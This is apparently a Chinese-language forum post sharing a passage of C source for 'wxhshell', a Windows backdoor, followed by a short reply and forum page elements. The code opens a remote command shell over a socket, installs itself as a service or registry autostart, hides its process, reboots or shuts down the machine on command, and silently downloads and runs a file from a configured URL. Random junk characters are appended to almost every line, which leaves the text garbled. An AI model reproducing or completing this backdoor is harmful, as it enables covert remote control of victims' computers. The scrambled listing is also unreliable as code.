  } YH9] T,  
  else { }8#Czo jt  
w/6@R 4)p  
    switch(cmd[0]) { j)qh>y)  
  {U-EBXV  
  // 帮助 Mu%,@?zM^/  
  case '?': { Fsj[JE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dwMwd@*j  
    break; ,`@|C Z-4A  
  } mP[u[|]  
  // 安装 26K~m@  
  case 'i': { rNyK*Wjt  
    if(Install()) MV \zwH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TL gVuY  
    else p n>`v   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R,1,4XT  
    break; 6|}mTG^  
    } b.;}Hq>  
  // 卸载 Tj9q(Vq  
  case 'r': { e*s{/a?,  
    if(Uninstall()) h cXqg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B{ "<\g  
    else .p>8oOp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nTKfwIeg5  
    break; zUqDX{I8  
    } rSn7(3e4^  
  // 显示 wxhshell 所在路径 q8>Q,F`BA  
  case 'p': { &_j4q  
    char svExeFile[MAX_PATH]; 3k^jR1  
    strcpy(svExeFile,"\n\r"); m5{SPa,y  
      strcat(svExeFile,ExeFile); !F)oX7"  
        send(wsh,svExeFile,strlen(svExeFile),0); ;D:T ^4  
    break; }*.*{I  
    } _AYF'o-Cm  
  // 重启 >.\E'e5^C  
  case 'b': { PM7/fv*,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9To6Rc;  
    if(Boot(REBOOT)) "QS7?=>*F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ||aU>Wj4  
    else { `0:@`)&g1  
    closesocket(wsh); 9lV'3UG-?  
    ExitThread(0); 4PQWdPv;  
    } 7!%"8Rl-  
    break; Q@n kT1o  
    } "g-NUl`'  
  // 关机 !&[4T#c  
  case 'd': { X2v'9 x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z]BR Mx  
    if(Boot(SHUTDOWN)) gBu4`M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lV'83  
    else { =w-H )  
    closesocket(wsh); aK'r=NU  
    ExitThread(0); ;zDc0qpw  
    } to7)gOX(  
    break; |=s3a5sl  
    } 4>*`26  
  // 获取shell Vk-_H)*r  
  case 's': { JB<4 m4-  
    CmdShell(wsh); Ji q[VeLe  
    closesocket(wsh); .~J^`/o  
    ExitThread(0); ^h=kJR9  
    break; h6/Z_ Y  
  } Lt_]3g o  
  // 退出 +F|[9o z  
  case 'x': { 9OUhV [D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S}X:LHr*  
    CloseIt(wsh); rY}ofq7b  
    break; p~IvkW>ln)  
    } )A%Y wI$  
  // 离开 tO7{g  
  case 'q': { x]Ef}g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `2B+8,{%  
    closesocket(wsh); ~vmY 2h\  
    WSACleanup(); ) |vFrR  
    exit(1); soF^G21N  
    break; v0=~PN~E  
        } ,dBI=D'  
  } m='OnTeOE  
  } 4<|u~n*JF  
{ SV$fl;  
  // 提示信息 zdCt#=QV?R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Za w+  
} X!Q"p$D4(  
  } CR<l"~X  
2dfA}i>k  
  return; h%%'{^>~  
} >nX'RE|F  
-|mABHjx*  
// shell模块句柄 *?{)i~  
int CmdShell(SOCKET sock) /l L*U  
{ |UG)*t/  
STARTUPINFO si; t&_lpffv  
ZeroMemory(&si,sizeof(si)); ^^#A9AM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vs~*=d27Pf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o=ex{g(3  
PROCESS_INFORMATION ProcessInfo; k:sh:G+=$d  
char cmdline[]="cmd"; J3=jC5=J4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R)/w   
  return 0; _EP}el  
} I$$!YMm.N  
i+}M#Y-O  
// 自身启动模式 ("Zi,3"+  
int StartFromService(void) bGZy0.  
{ L6T_&AiL$  
typedef struct sZc<h]L(g  
{ Y%3j >_\;  
  DWORD ExitStatus; D%zIm,bf  
  DWORD PebBaseAddress; *d(Dk*(  
  DWORD AffinityMask; ScEM#9T|  
  DWORD BasePriority; Z_%>yqDC  
  ULONG UniqueProcessId; H,'c&  
  ULONG InheritedFromUniqueProcessId; ]P.S5s'  
}   PROCESS_BASIC_INFORMATION; *h Ur E  
8QU`SoS9  
PROCNTQSIP NtQueryInformationProcess; EOL03N   
~0L>l J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E%TvGe;#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vsK>?5{C-  
-Db(  
  HANDLE             hProcess; g(1'i1  
  PROCESS_BASIC_INFORMATION pbi; Uu ,Re  
~c4Y*]J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3XIxuQwf  
  if(NULL == hInst ) return 0; [*fnTy  
t1kD5^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ||qW'kNWM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3hkA`YSYt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]^!#0(  
[30e>bSf`  
  if (!NtQueryInformationProcess) return 0; ,Fb#%r%  
R0Qp*&AL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0/c4%+ Ln  
  if(!hProcess) return 0; !|D,cs  
 u!(|y9p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |$Td-M^)  
CXa$QSu>  
  CloseHandle(hProcess); 1z)+P1nH]  
6(.&y;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -szvO_UP  
if(hProcess==NULL) return 0; V5=Injs *  
<R2bz1!h.  
HMODULE hMod; dpy,;nqzeN  
char procName[255]; k,2% %m  
unsigned long cbNeeded; 8_>R'u[  
*fE5Z;!}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *{uu_O  
)[A}h'J)  
  CloseHandle(hProcess); ,W.O*vCA  
Mf?4 `LM  
if(strstr(procName,"services")) return 1; // 以服务启动 d%WFgf}  
>6Q-e$GS@  
  return 0; // 注册表启动 \o/oM,u  
} BJqM=<nQ  
hSxf;>(d  
// 主模块 p0Vw@R=  
int StartWxhshell(LPSTR lpCmdLine) o;t{YfK  
{ Ba"Z^(:  
  SOCKET wsl; t ,0~5>5  
BOOL val=TRUE; g%K3ah v  
  int port=0; JWLQ9U X  
  struct sockaddr_in door; ;lGjj9we>  
c Mq|`CM  
  if(wscfg.ws_autoins) Install(); iKu5K0x{>I  
{L#Pdj{  
port=atoi(lpCmdLine); L;Nm"[ `  
C3|M\[*fp  
if(port<=0) port=wscfg.ws_port; !O*\|7A(  
<|v]9`'  
  WSADATA data; YS/4<QA[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w!61k \  
/MA4Er r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .2`S07Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s+aeP  
  door.sin_family = AF_INET; ;:v:pg8qc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d35,[  
  door.sin_port = htons(port); |',Gy\Sj  
B7cXbUAQs  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9T)-|fja_  
closesocket(wsl); nP] ~8ViS  
return 1;  0N md*r  
} K?) &8S  
Y}PI{PN  
  if(listen(wsl,2) == INVALID_SOCKET) { )8yNqnD  
closesocket(wsl); 9%|!+!j  
return 1; .QW89e,O3  
} jfk`%C Ek=  
  Wxhshell(wsl); fF ;-d2mF  
  WSACleanup(); Ok9XC <Xu  
;as B@Q  
return 0; >=wlS\:"  
ri6_u;Ch  
} TeQpmhN  
geua8;  
// 以NT服务方式启动 QD<f) JZK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :hZYh.y\l  
{ op;OPf,  
DWORD   status = 0; >-f`mT  
  DWORD   specificError = 0xfffffff; k\A8Z[  
]"^U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q* +}wP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ve<l7U;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MC^H N w  
  serviceStatus.dwWin32ExitCode     = 0; NeQ/#[~g  
  serviceStatus.dwServiceSpecificExitCode = 0; 0:Xvch0  
  serviceStatus.dwCheckPoint       = 0; OT+LQ TE  
  serviceStatus.dwWaitHint       = 0; :2}zovsdj  
o@vo,JU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tv5G']vO\  
  if (hServiceStatusHandle==0) return; 6Z0@4_Y@B6  
aH*)W'N?  
status = GetLastError(); $0 eyp]XC\  
  if (status!=NO_ERROR) 3V2 "1Ic  
{ (]1n!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  LGV"WE  
    serviceStatus.dwCheckPoint       = 0; VD,g  
    serviceStatus.dwWaitHint       = 0; n)gzHch  
    serviceStatus.dwWin32ExitCode     = status; ) m[0,  
    serviceStatus.dwServiceSpecificExitCode = specificError; $)mK]57  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ckS.j)@.c  
    return; -m3 O\X  
  } V^[o{'+  
hIE$ut +  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9ELLJ@oNC  
  serviceStatus.dwCheckPoint       = 0; 82{Lx7pI  
  serviceStatus.dwWaitHint       = 0; ,dP-sD;<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *MglX<  
} ~J)_S' #  
o[X 'We;  
// 处理NT服务事件,比如:启动、停止 2eK!<Gj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z1K@AaRx  
{ f%;8]a9  
switch(fdwControl) unKi)v1  
{ u,I_p[`E  
case SERVICE_CONTROL_STOP: 0"#'Z>"  
  serviceStatus.dwWin32ExitCode = 0; 4 cDjf~n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qS:hv&~  
  serviceStatus.dwCheckPoint   = 0; -W<x|ph U  
  serviceStatus.dwWaitHint     = 0; k?ZtRhPu3X  
  { =Q>'?w>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x4Q*~,n  
  } 9KkxUEkW  
  return; LB1LQ 0M  
case SERVICE_CONTROL_PAUSE: 9Ra*bP ]1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nep0<&"  
  break; YBehyx2eK  
case SERVICE_CONTROL_CONTINUE: *]:gEO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9ldv*9v  
  break; Js.2R$o =*  
case SERVICE_CONTROL_INTERROGATE:  Y[#EFM  
  break; }rRf4te  
}; @i U@JE`C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?RNm8,M  
} &NM.}f  
DryN}EMOKD  
// 标准应用程序主函数 MEf`&<t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M{w[hV  
{ >+ZBQ]~  
FxeDjAP  
// 获取操作系统版本 e)"] H*  
OsIsNt=GetOsVer(); >$Sc}a3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :sDE 'o  
9$U@h7|Q`  
  // 从命令行安装 Jr+~'  
  if(strpbrk(lpCmdLine,"iI")) Install(); >>22:JI`  
kV9S+ME  
  // 下载执行文件 Y>W$n9d&G2  
if(wscfg.ws_downexe) { o}O"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vkUXMMuf+e  
  WinExec(wscfg.ws_filenam,SW_HIDE); T%zCAfx m  
} J)tk<&X  
O<}3\O )G(  
if(!OsIsNt) { ZFYv|2l  
// 如果时win9x,隐藏进程并且设置为注册表启动 4IfOvAN%  
HideProc(); RrB)u?  
StartWxhshell(lpCmdLine); e1ts/@V  
} DO6Tz -%o  
else #y;TSHx/  
  if(StartFromService()) DD5 S R  
  // 以服务方式启动 NX.%Rj*  
  StartServiceCtrlDispatcher(DispatchTable); D_kz'0^|  
else ML eo3  
  // 普通方式启动 g2)jd[GM  
  StartWxhshell(lpCmdLine); vz$-KT4e^  
YvA@I|..~  
return 0; ]$Ud`<Xnx  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八